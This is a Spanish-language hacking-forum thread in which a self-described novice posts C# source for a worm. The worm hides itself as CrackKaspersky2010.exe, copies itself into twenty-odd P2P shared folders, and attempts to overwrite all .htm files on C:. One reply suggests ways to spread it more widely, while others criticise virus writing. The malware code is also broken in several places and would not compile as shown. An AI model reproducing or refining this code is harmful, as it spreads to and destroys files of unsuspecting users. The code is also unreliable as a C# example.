elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  Mi Pequeño Programa
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Mi Pequeño Programa  (Leído 6,924 veces)
ArMaGgEdOn2012

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Mi Pequeño Programa
« en: 16 Enero 2010, 17:54 pm »

Hola. Este es mi primer mensaje.
Escribí este tema para presentar un pequeño programa que hice yo en C#.
Soy un novato, así que no lo llamaré virus, pues no se puede considerar virus, aunque tiene principio de worm. Un "virus" más completo está en ciernes.
Lo que hace este virus es copiarse en todas las carpetas de todos los programas P2P y del windows, con el nombre CrackKaspersky2010.exe; se copia también, con una codificación basada en que desde el caracter 48 hasta el 127 suma 80 en el código del programa, en todos los archivos HTM del disco duro "C:\":
Código
  1. /*
  2. * Ejemplo muy fácil de virus
  3. *
  4. * 16-1-10 -> 17:21
  5. *
  6. * Hecho en C#
  7. *
  8. * By ArMaGeDdOn2012
  9. */
  10.  
  11. using System;
  12. using System.Collections.Generic;
  13. // Prescindibles si lo haces en consola
  14. using System.ComponentModel;
  15. using System.Data;
  16. using System.Drawing;
  17. // El Siguiente es necesario para consola (no necesario pero te ahorra tiempo)
  18. using System.Text;
  19. // A partir de aquí, prescindibles
  20. using System.Windows.Forms;
  21. using System.IO;
  22.  
  23. namespace WindowsApplication1
  24. {
  25.    public partial class Form1 : Form
  26.    {
  27.        public Form1()
  28.        {
  29.            InitializeComponent();
  30.        }
  31.  
  32.        private void Form1_Load(object sender, EventArgs e)
  33.        {
  34.            Copiar();
  35.        }
  36.        public void Copiar()
  37.        {
  38.            string path = Application.ExecutablePath;
  39.            string path2 = @"C:\Windows\CrackKaspersky2010.exe";
  40.            string path3 = @"C:\Program Files\Grokster\My Grokster\";
  41.            string path4 = @"C:\Program Files\Morpheus\My Shared Folder\";
  42.            string path5 = @"C:\Program Files\ICQ\shared files\";
  43.            string path6 = @"C:\Program Files\KaZaA\My Shared Folder\";
  44.            string path7 = @"C:\Program Files\KaZaA Lite\My Shared Folder\";
  45.            string path8 = @"C:\Program Files\EDONKEY2000\incoming\";
  46.            string path9 = @"C:\Program Files\eMule\Incoming\";
  47.            string path10 = @"C:\Program Files\Filetopia3\Files\";
  48.            string path11 = @"C:\Program Files\appleJuice\incoming\";
  49.            string path12 = @"C:\Program Files\Gnucleus\Downloads\";
  50.            string path13 = @"C:\Program Files\LimeWire\Shared\";
  51.            string path14 = @"C:\Program Files\Overnet\incoming\";
  52.            string path15 = @"C:\Program Files\Shareaza\Downloads\";
  53.            string path16 = @"C:\Program Files\Swaptor\Download\";
  54.            string path17 = @"C:\Program Files\WinMX\My Shared Folder\";
  55.            string path18 = @"C:\Program Files\Tesla\Files\";
  56.            string path19 = @"C:\Program Files\XoloX\Downloads\";
  57.            string path20 = @"C:\Program Files\Rapigator\Share\";
  58.            string path21 = @"C:\Program Files\KMD\My Shared Folder\";
  59.            string path22 = @"C:\Program Files\BearShare\Shared\";
  60.            string path23 = @"C:\Program Files\Direct Connect\Received Files\";
  61.            string path24 = @"C:\Program Files\Ares\My Shared Folder";
  62.  
  63.            File.Move(path, path2);
  64.            //Mueve el archivo a C:\Windows\Worm.exe
  65.            File.SetAttributes(path2, FileAttributes.Hidden);
  66.            //Oculta el archivo
  67.            if (File.Exists(path2))
  68.            {
  69.                File.Copy(path2, path2);
  70.            }
  71.  
  72.            if (File.Exists(path3))
  73.            {
  74.                File.Copy(path2, path3);
  75.            }
  76.  
  77.            if (File.Exists(path4))
  78.            {
  79.                File.Copy(path2, path4);
  80.            }
  81.  
  82.            if (File.Exists(path5))
  83.            {
  84.                File.Copy(path2, path5);
  85.            }
  86.  
  87.            if (File.Exists(path6))
  88.            {
  89.                File.Copy(path2, path6);
  90.            }
  91.  
  92.            if (File.Exists(path7))
  93.            {
  94.                File.Copy(path2, path7);
  95.            }
  96.  
  97.            if (File.Exists(path8))
  98.            {
  99.                File.Copy(path2, path8);
  100.            }
  101.  
  102.            if (File.Exists(path9))
  103.            {
  104.                File.Copy(path2, path9);
  105.            }
  106.  
  107.            if (File.Exists(path10))
  108.            {
  109.                File.Copy(path2, path10);
  110.            }
  111.  
  112.            if (File.Exists(path11))
  113.            {
  114.                File.Copy(path2, path11);
  115.            }
  116.  
  117.            if (File.Exists(path12))
  118.            {
  119.                File.Copy(path2, path12);
  120.            }
  121.  
  122.            if (File.Exists(path13))
  123.            {
  124.                File.Copy(path2, path13);
  125.            }
  126.  
  127.            if (File.Exists(path14))
  128.            {
  129.                File.Copy(path2, path14);
  130.            }
  131.  
  132.            if (File.Exists(path15))
  133.            {
  134.                File.Copy(path2, path15);
  135.            }
  136.  
  137.            if (File.Exists(path16))
  138.            {
  139.                File.Copy(path2, path16);
  140.            }
  141.  
  142.            if (File.Exists(path17))
  143.            {
  144.                File.Copy(path2, path17);
  145.            }
  146.  
  147.            if (File.Exists(path18))
  148.            {
  149.                File.Copy(path2, path18);
  150.            }
  151.  
  152.            if (File.Exists(path19))
  153.            {
  154.                File.Copy(path2, path19);
  155.            }
  156.  
  157.            if (File.Exists(path20))
  158.            {
  159.                File.Copy(path2, path20);
  160.            }
  161.  
  162.            if (File.Exists(path21))
  163.            {
  164.                File.Copy(path2, path21);
  165.            }
  166.  
  167.            if (File.Exists(path22))
  168.            {
  169.                File.Copy(path2, path22);
  170.            }
  171.  
  172.            if (File.Exists(path23))
  173.            {
  174.                File.Copy(path2, path23);
  175.            }
  176.  
  177.            if (File.Exists(path24))
  178.            {
  179.                File.Copy(path2, path24);
  180.            }
  181.            /*Este GRAN código comprueba la existencia de las típicas rutas de ->
  182.              * instalación de los programas P2P */
  183.  
  184.            StreamReader sr = new StreamReader(@"C:\Program Files\Windows\CrackKaspersky2010.exe");
  185.            String line;
  186.            while ((line = sr.ReadLine()) != null)
  187.            {
  188.                String read = sr.ToString;
  189.                read.Replace('\u0048', '\u0128');
  190.                read.Replace('\u0049', '\u0129');
  191.                read.Replace('\u0050', '\u0130');
  192.                read.Replace('\u0051', '\u0131');
  193.                read.Replace('\u0052', '\u0132');
  194.                read.Replace('\u0053', '\u0133');
  195.                read.Replace('\u0054', '\u0134');
  196.                read.Replace('\u0055', '\u0135');
  197.                read.Replace('\u0056', '\u0136');
  198.                read.Replace('\u0057', '\u0137');
  199.                read.Replace('\u0058', '\u0138');
  200.                read.Replace('\u0059', '\u0139');
  201.                read.Replace('\u0060', '\u0140');
  202.                read.Replace('\u0061', '\u0141');
  203.                read.Replace('\u0062', '\u0142');
  204.                read.Replace('\u0063', '\u0143');
  205.                read.Replace('\u0064', '\u0144');
  206.                read.Replace('\u0065', '\u0145');
  207.                read.Replace('\u0066', '\u0146');
  208.                read.Replace('\u0067', '\u0147');
  209.                read.Replace('\u0068', '\u0148');
  210.                read.Replace('\u0069', '\u0149');
  211.                read.Replace('\u0070', '\u0150');
  212.                read.Replace('\u0071', '\u0151');
  213.                read.Replace('\u0072', '\u0152');
  214.                read.Replace('\u0073', '\u0153');
  215.                read.Replace('\u0074', '\u0154');
  216.                read.Replace('\u0075', '\u0155');
  217.                read.Replace('\u0076', '\u0156');
  218.                read.Replace('\u0077', '\u0157');
  219.                read.Replace('\u0078', '\u0158');
  220.                read.Replace('\u0079', '\u0159');
  221.                read.Replace('\u0080', '\u0160');
  222.                read.Replace('\u0081', '\u0161');
  223.                read.Replace('\u0082', '\u0162');
  224.                read.Replace('\u0083', '\u0163');
  225.                read.Replace('\u0084', '\u0164');
  226.                read.Replace('\u0085', '\u0165');
  227.                read.Replace('\u0086', '\u0166');
  228.                read.Replace('\u0087', '\u0167');
  229.                read.Replace('\u0088', '\u0168');
  230.                read.Replace('\u0089', '\u0169');
  231.                read.Replace('\u0090', '\u0170');
  232.                read.Replace('\u0091', '\u0171');
  233.                read.Replace('\u0092', '\u0172');
  234.                read.Replace('\u0093', '\u0173');
  235.                read.Replace('\u0094', '\u0174');
  236.                read.Replace('\u0095', '\u0175');
  237.                read.Replace('\u0096', '\u0176');
  238.                read.Replace('\u0097', '\u0177');
  239.                read.Replace('\u0098', '\u0178');
  240.                read.Replace('\u0099', '\u0179');
  241.                read.Replace('\u0100', '\u0180');
  242.                read.Replace('\u0101', '\u0181');
  243.                read.Replace('\u0102', '\u0182');
  244.                read.Replace('\u0103', '\u0183');
  245.                read.Replace('\u0104', '\u0184');
  246.                read.Replace('\u0105', '\u0185');
  247.                read.Replace('\u0106', '\u0186');
  248.                read.Replace('\u0107', '\u0187');
  249.                read.Replace('\u0108', '\u0188');
  250.                read.Replace('\u0109', '\u0189');
  251.                read.Replace('\u0110', '\u0190');
  252.                read.Replace('\u0111', '\u0191');
  253.                read.Replace('\u0112', '\u0192');
  254.                read.Replace('\u0113', '\u0193');
  255.                read.Replace('\u0114', '\u0194');
  256.                read.Replace('\u0115', '\u0195');
  257.                read.Replace('\u0116', '\u0196');
  258.                read.Replace('\u0117', '\u0197');
  259.                read.Replace('\u0118', '\u0198');
  260.                read.Replace('\u0119', '\u0199');
  261.                read.Replace('\u0120', '\u0200');
  262.                read.Replace('\u0121', '\u0201');
  263.                read.Replace('\u0122', '\u0202');
  264.                read.Replace('\u0123', '\u0203');
  265.                read.Replace('\u0124', '\u0204');
  266.                read.Replace('\u0125', '\u0205');
  267.                read.Replace('\u0126', '\u0206');
  268.                read.Replace('\u0127', '\u0207');
  269.  
  270.                 //******************************************//
  271.                 //******************************************//
  272. /*
  273. * Esto da las pautas para la sustitución de caracteres
  274. */
  275.                DirectoryInfo d1 = new DirectoryInfo(@"C:\");
  276.                FileInfo f1;
  277.        GOTOAAAA:
  278.                foreach (f1 in d1.GetFiles("*.htm"))
  279.                {
  280.                    if (d1.Exists())
  281.                    {
  282.                        d1.Delete();
  283.                    }
  284.                    using (FileStream fs = File.Create)
  285.                    {
  286.                        fs.Write(read);
  287.                    }
  288.                }
  289.                foreach (DirectoryInfo d2 in d1.GetDirectories())
  290.                {
  291.                    d1 += d2;
  292.                    goto GOTOAAAA;
  293.                }
  294. //Esto sustituye los archivos *.htm del disco C:
  295.            }
  296.        }
  297.    }
  298. }
  299.  
PD: El código fuente ocupa 11KB, compilado no sé xD


En línea

diego_lp

Desconectado Desconectado

Mensajes: 180


In a free world, who needs gates and windows?


Ver Perfil WWW
Re: Mi Pequeño Programa
« Respuesta #1 en: 16 Enero 2010, 18:12 pm »

Hola, felicitaciones  :)
Solo un comentario, no has pensado en usar bocles en lugar de escribir tanto codigo?
Por ejemplo podrias usar un for en los condicionales  if (File.Exists(path2))
                                                                                                  {
                                                                                                   File.Copy(path2, path2);
                                                                                                   }
                                                                                                   ...
Te ahorrarias mucho codigo, no te parece?  :xD

Felicitaciones de nuevo, espero que sea solo un ejercicio  :rolleyes: jeje
Saludos


En línea

Los programadores hicimos un pacto con Dios, él no hace sistemas y nosotros no hacemos milagros!
ArMaGgEdOn2012

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: Mi Pequeño Programa
« Respuesta #2 en: 16 Enero 2010, 18:31 pm »

Gracias. Me lo apunto para el siguiente.
Lo que no entiendo (entiendo parcialmente) es el bucle for, pues el while lo entiendo.
Aparte, también tuve que echarle algo de imaginación, pues no existen claros ejemplos de virus en c#
En línea

seba123neo


Desconectado Desconectado

Mensajes: 3.621



Ver Perfil WWW
Re: Mi Pequeño Programa
« Respuesta #3 en: 16 Enero 2010, 18:53 pm »

no me digan que los de microsoft se rompieron la cabeza inventando C# para hacer este tipo de programas, va con onda, pero en serio basta de estas tonterias...

saludos.
En línea

ArMaGgEdOn2012

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: Mi Pequeño Programa
« Respuesta #4 en: 16 Enero 2010, 19:06 pm »

Vamos por partes:
    1º
Los de Microsoft no se rompieron la cabeza creando c#, pues la mayoría ya     estaba de C++ y Java

    2º
Yo creo que tiene mérito que sepa programar esto, pues en el libro de Tecn. de mi clase aún enseñan a encender el ordenador y a arrastrar ventanas.

    3º
Ya dije que el programa sólo era un prototipo de lo que puede ser un posible virus decente (paciencia, paciencia ... xD).

    4º
Este tema lo puse para que, al igual que diego_lp, pongan comentarios constructivos.
En línea

Keyen Night


Desconectado Desconectado

Mensajes: 496


Nothing


Ver Perfil
Re: Mi Pequeño Programa
« Respuesta #5 en: 16 Enero 2010, 20:09 pm »

Primero hay que tomar en cuenta que el nombre del foro es foro.elhacker.net creo que ya eso es suficiente para que no podemos quejarnos de los malwares que se escriban aqui, a menos de que seamos tan estupidos como para infectarnos entre nosotros mismos :¬¬
Bueno el code está bien pero habria una forma más limpia de hacerlo y está sería recorriendo todas las carpetas de archivos de programas y copiarnos en todas las subcarpetas, aunque infectariamos más de lo que queremos habriamos infectado todo con menos codigo, tambien puedes agregar el atributo System a los archivos además de Hidden...
En línea

La Fé Mueve Montañas...
                                    ...De Dinero

La programación es más que un trabajo es más que un hobby es una pasión...
raul338


Desconectado Desconectado

Mensajes: 2.633


La sonrisa es la mejor forma de afrontar las cosas


Ver Perfil WWW
Re: Mi Pequeño Programa
« Respuesta #6 en: 16 Enero 2010, 21:30 pm »

Se ve que necesitas aprender, solo eso te falta, las ideas y la "Intencion" ya las tienes, cuando te des cuenta, ese codigo podra ser corregido y minimizado. Aunque es un buen intento, pero aun te falta camino por recorrer  ;)

Lo unico que no entiendo (capaz que lo inventaste vos :xD) es esto:
Código
  1. GOTOAAAA:
  2.  
no existe el GoTo en C# (lol)
En línea

nico56

Desconectado Desconectado

Mensajes: 246


Ver Perfil
Re: Mi Pequeño Programa
« Respuesta #7 en: 17 Enero 2010, 00:24 am »

Creo que te equivocas de lugar, un Hacker es una persona que trabaja en la seguridad informática, una persona que esta al pedo frente al pc y hace un virus porque ya se aburrió de ver pornografía y quiere molestar a los demás es un Kacker.
En línea

skapunky
Electronik Engineer &
Colaborador
***
Desconectado Desconectado

Mensajes: 3.667


www.killtrojan.net


Ver Perfil WWW
Re: Mi Pequeño Programa
« Respuesta #8 en: 17 Enero 2010, 03:07 am »

Un "hacker" no tiene porque hacer virus, eso solo sale en las películas  :xD. El tema de los virus bajo mi punto de vista es algo aparte y la gente que los hace puede tener motívos muy diversos.

Yo personalmente si he programado virus, pero par ver el funcionamiento y probar la efectividad de estos y sus rutinas y siempre en entornos cerrados o por ejemplo virtualizados.

Otra cosa muy diferente es la gente que se dedica a fastidiar y por hacer un "virus" se cree la leche con colacao...

Por otra parte no matizaré con el nombre de esta comunidad elhacker.net, pero por tener la palabra hacker no quiere decir que se permítan actividades de dudosa o nula ética o legalidad.
En línea

Killtrojan Syslog v1.44: ENTRAR
isseu


Desconectado Desconectado

Mensajes: 325


°º¤ø,¸¸,El conocimiento es poder°º¤ø,¸¸,ø¤º°`°º¤ø,


Ver Perfil WWW
Re: Mi Pequeño Programa
« Respuesta #9 en: 17 Enero 2010, 03:18 am »

Creo que te equivocas de lugar, un Hacker es una persona que trabaja en la seguridad informática, una persona que esta al pedo frente al pc y hace un virus porque ya se aburrió de ver pornografía y quiere molestar a los demás es un Kacker.

te faltaron algunas comas o puntos creo...


En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
ayuda con pequeño detalle en programa de busqueda en un arreglo
Programación C/C++
johnnyBsc17 2 2,476 Último mensaje 17 Octubre 2011, 06:24 am
por _niu
Cosa rarísima sucede al ejecutar mi pequeño programa
Programación C/C++
FMLTGRD 5 2,814 Último mensaje 29 Noviembre 2014, 21:14 pm
por FMLTGRD
[AYUDA] Pequeño programa de notas « 1 2 »
Java
reeyesg 16 5,970 Último mensaje 6 Mayo 2015, 19:11 pm
por PabloPbl
Pequeño programa para estadisticas deportivas
Programación General
crazykenny 0 2,089 Último mensaje 3 Enero 2019, 19:23 pm
por crazykenny
Pequeño programa en python de desglose
Scripting
reconFito 0 3,088 Último mensaje 19 Diciembre 2019, 04:55 am
por reconFito
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines